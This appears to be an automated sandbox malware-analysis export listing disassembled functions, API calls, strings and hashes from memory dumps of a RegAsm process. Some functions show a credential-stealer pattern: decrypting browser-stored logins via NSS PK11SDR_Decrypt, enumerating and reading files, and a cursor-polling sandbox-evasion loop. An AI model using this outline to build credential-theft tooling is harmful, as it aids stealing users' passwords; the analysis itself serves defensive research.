Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 55098718065b47f95675a7e436a93b6de4862d5c8eff2d4e028c5747bd21810a
Instruction ID: c06e2f330fc7036e1ff051fb35d667afe70516d7c4c951db7c8cb2e629012688
Opcode Fuzzy Hash: 55098718065b47f95675a7e436a93b6de4862d5c8eff2d4e028c5747bd21810a
Instruction Fuzzy Hash: ED71DFB1A006058FDB00CFA5CC85AABB7F1BF58318F24862DE919D7B12E771E954CB91

Function 6C140FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C13CA30: EnterCriticalSection.KERNEL32(?,?,?,6C19F9C9,?,6C19F4DA,6C19F9C9,?,?,6C16369A), ref: 6C13CA7A
Part of subcall function 6C13CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C13CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C14103E
EnterCriticalSection.KERNEL32(?), ref: 6C141139
LeaveCriticalSection.KERNEL32(?), ref: 6C141190
sqlite3_free.NSS3(00000000), ref: 6C141227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C14126E
sqlite3_free.NSS3(?), ref: 6C14127F

Strings

P,l, xrefs: 6C14109E
winAccess, xrefs: 6C14129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C141267

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: P,l$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-126046869
Opcode ID: cd75f208dce0cdbadd28cef045152b83497f2d891976e8a3cac54f66e5841202
Instruction ID: 30191938127c3a0f8f67c6d8b1351d35f882c24aab1d02bdc45bb3f8048d72ce
Opcode Fuzzy Hash: cd75f208dce0cdbadd28cef045152b83497f2d891976e8a3cac54f66e5841202
Instruction Fuzzy Hash: 1E710672705305DFEB04DB35DC85AAA7379FB97764F24822EE815C7A80DB34D811C692

Function 6C206C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C1B1C6F,00000000,00000004,?,?), ref: 6C206C3F

Part of subcall function 6C25C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C25C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C1B1C6F,00000000,00000004,?,?), ref: 6C206C60
PR_ExplodeTime.NSS3(00000000,6C1B1C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C1B1C6F,00000000,00000004,?,?), ref: 6C206C94

Strings

gfff, xrefs: 6C206D30
gfff, xrefs: 6C206D9C
gfff, xrefs: 6C206CF5
gfff, xrefs: 6C206D66
gfff, xrefs: 6C206CFD

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: d05898c43426aaf5af9e2fa787e132fa586d6a1333c79598dbab6b540b50fa55
Instruction ID: e737ffd1368eeb8fa2f453c6abcfafd67262c5188dd5dcac8ce54e4b0e529f10
Opcode Fuzzy Hash: d05898c43426aaf5af9e2fa787e132fa586d6a1333c79598dbab6b540b50fa55
Instruction Fuzzy Hash: FB515D72B016494FC70CCEADDC927DAB7DAABA4310F48C23AE842DB781D638D946C751

Function 6C280F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C281027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C2810B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C281353

Strings

'%.*q', xrefs: 6C281217, 6C281292
%02x, xrefs: 6C2812F6
$, xrefs: 6C2812A0
%lld, xrefs: 6C28114B
-- , xrefs: 6C280FF5
zeroblob(%d), xrefs: 6C281223
NULL, xrefs: 6C28119E

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: af92ca074c41cffc448dd6e1961b98ab9b62ab62719c831c9027e97b9bb4e4cb
Instruction ID: 1fc1279a55477da37772d090ae71df9c71177cdab8e24048d8446f223dedc3cf
Opcode Fuzzy Hash: af92ca074c41cffc448dd6e1961b98ab9b62ab62719c831c9027e97b9bb4e4cb
Instruction Fuzzy Hash: 02E1A071A093499FD704CF18C880AABBBF5AF85348F14891DFDA587B91D771E889CB42

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(004367FF,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(004367FF,0043680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: 31c02de74a842dc5982266c19b354e3641ebd2f337bb717027e43e35191461e0
Instruction ID: c52c7911384acef37c1396ab2ed586562ee96a7842570c827785f6af41a5dd99
Opcode Fuzzy Hash: 31c02de74a842dc5982266c19b354e3641ebd2f337bb717027e43e35191461e0
Instruction Fuzzy Hash: 9A316FB1D0421AAFCB10DF54DD849FAB7BCAF08345F4040BAF409E2241EB794A459F66

Function 0040CD37 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374E4), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374E8), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436873,004374EC,?,0043686B), ref: 0040CE41

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcatlstrlen$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 833390005-1013718255
Opcode ID: bbaa68f24ada2bab8b178e5c4d0dae1f171c0e89e1aa2bfb4e8da3e8ddf0e8e4
Instruction ID: f90bde7ebd5e73abaa7a8c474d568aa11f4251eb43bcf22c94b8c72ea498d248
Opcode Fuzzy Hash: bbaa68f24ada2bab8b178e5c4d0dae1f171c0e89e1aa2bfb4e8da3e8ddf0e8e4
Instruction Fuzzy Hash: 0BD1CB71A4112DAADF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6C288FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C288FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2890DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C289118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C28915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C2891C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C289209

Strings

3333, xrefs: 6C28925E
UUUU, xrefs: 6C289255

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 6e29bd764c42582b7baa989fcc547e362c3cd932d7b0a9e35e69937378dde2b0
Instruction ID: b319bb9951c6781b220dbc9adfa6851f85c3566ed07d89ddf852cc4c9f6d935f
Opcode Fuzzy Hash: 6e29bd764c42582b7baa989fcc547e362c3cd932d7b0a9e35e69937378dde2b0
Instruction Fuzzy Hash: 17A19F72E001199FDB04DB69CC81BDEB7B5BF48328F094129ED15A7781EB36AC15CBA1

Function 6C2C8D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C3114E4,6C27CC70), ref: 6C2C8D47
PR_GetCurrentThread.NSS3 ref: 6C2C8D98

Part of subcall function 6C1A0F00: PR_GetPageSize.NSS3(6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F1B
Part of subcall function 6C1A0F00: PR_NewLogModule.NSS3(clock,6C1A0936,FFFFE8AE,?,6C1316B7,00000000,?,6C1A0936,00000000,?,6C13204A), ref: 6C1A0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C2C8E7B
htons.WSOCK32(?), ref: 6C2C8EDB
PR_GetCurrentThread.NSS3 ref: 6C2C8F99
PR_GetCurrentThread.NSS3 ref: 6C2C910A

Strings

%u.%u.%u.%u, xrefs: 6C2C8E74

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 16dcb51c7b0c704920b9e42b3b29ebf8862ffba3005ccb044dc53a4c0d914289
Instruction ID: f3966d27fafc8dfaa147aed45b80910742d424ce23be33a0cc05c7685b81f453
Opcode Fuzzy Hash: 16dcb51c7b0c704920b9e42b3b29ebf8862ffba3005ccb044dc53a4c0d914289
Instruction Fuzzy Hash: 2002B931B0525A8FDB18CB1DC4697AABBA2EF42308F19C35AEC915BA91C371D905C7D2

Function 0040180D Relevance: 12.1, APIs: 8, Instructions: 68sleepthreadCOMMON

Download Yara Rule

APIs

OpenInputDesktop.USER32(00000000,00000001,80000000), ref: 00401823
SetThreadDesktop.USER32(00000000), ref: 0040182A
GetCursorPos.USER32(?), ref: 0040183A
Sleep.KERNEL32(000003E8), ref: 0040184A
GetCursorPos.USER32(?), ref: 00401859
Sleep.KERNEL32(00002710), ref: 0040186B
Sleep.KERNEL32(000003E8), ref: 00401870
GetCursorPos.USER32(?), ref: 0040187F

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CursorSleep$Desktop$InputOpenThread
String ID:
API String ID: 3283940658-0
Opcode ID: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction ID: 6ce610161f310883e20b46de56f80fe1d7998de54b5bc585690095a2dc5f2f67
Opcode Fuzzy Hash: f5ba76f92f65e2804661e56e76115090119226def0e33c1286c40128a66e7fa7
Instruction Fuzzy Hash: C9112E32E00209EBEB10EBA4CD89AAF77B9AF44301F644877D501B21A0D7789B41CB58

Function 6C14EFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

%s %T already exists, xrefs: 6C14FAC8
sqlite_master, xrefs: 6C14F0AB, 6C14F2DA, 6C14F757, 6C14F93E
not authorized, xrefs: 6C14F957, 6C14F9BA
there is already an index named %s, xrefs: 6C14F9D7
temporary table name must be unqualified, xrefs: 6C14F734
table, xrefs: 6C14F05C, 6C14FABC, 6C14FAC7
sqlite_temp_master, xrefs: 6C14F0A6, 6C14F2D5
view, xrefs: 6C14F061, 6C14F071, 6C14FAB7
authorizer malfunction, xrefs: 6C14F95C, 6C14F9BF, 6C14FA5E, 6C14FA8B

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3354458138.000000006C2CF000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3356578029.000000006C30E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3357896540.000000006C30F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3359639902.000000006C310000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3361326397.000000006C315000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c130000_RegAsm.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: 72bcf7918f2b3b2b89ed2980a9c1d84907aa3addaad3ea7eba960233a434f1e9
Instruction ID: 03a9ed71f19f9dffa77d97998a79c944ea61099153374c6f0ba9b90fa7e37549
Opcode Fuzzy Hash: 72bcf7918f2b3b2b89ed2980a9c1d84907aa3addaad3ea7eba960233a434f1e9
Instruction Fuzzy Hash: E2729F70E04205CFDB14CF69C484BAABBF2BF49308F1581ADD825ABB52D775E856CB90

Function 0040B93F Relevance: 10.8, APIs: 5, Strings: 1, Instructions: 319fileCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

FindFirstFileA.KERNEL32(?,?,\*.*,00436822,?,?,?), ref: 0040B99B
StrCmpCA.SHLWAPI(?,00437434), ref: 0040B9BC
StrCmpCA.SHLWAPI(?,00437438), ref: 0040B9D6

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 0040BEF1
FindClose.KERNEL32(?), ref: 0040BF05

Strings

\*.*, xrefs: 0040B965

Memory Dump Source

Source File: 00000003.00000002.2974075662.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2974075662.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2974075662.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcat$AllocFirstHandleLocalNextObjectReadSingleSizeSystemThreadTimeWaitlstrlen
String ID: \*.*
API String ID: 2390431556-1173974218
Opcode ID: cd8b2a0ddbd517c70f82a5fe5107064f5335992a9f5a0190235867707611c04f
Instruction ID: 632beccabce27330dd527b396505f53262ada5228e5b83af6bdabada4b9d70bd
Opcode Fuzzy Hash: cd8b2a0ddbd517c70f82a5fe5107064f5335992a9f5a0190235867707611c04f
Instruction Fuzzy Hash: A9E1DA7194012D9BCF21FB22DD4AACDB375AF44309F4100E6A508B71A1DB79AFC98F98

Function 6C190820 Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 1448COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000001,00000001), ref: 6C1911D2

Strings

not authorized, xrefs: 6C19175E, 6C191763
@, xrefs: 6C190B17
rows deleted, xrefs: 6C1917D2
authorizer malfunction, xrefs: 6C191BD2

Memory Dump Source

Source File: 00000003.00000002.3344629955.000000006C131000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C130000, based on PE: true

Associated: 00000003.00000002.3343533373.000000006C130000.00000002.00000001.01000000.00000008.sdmpDownload File
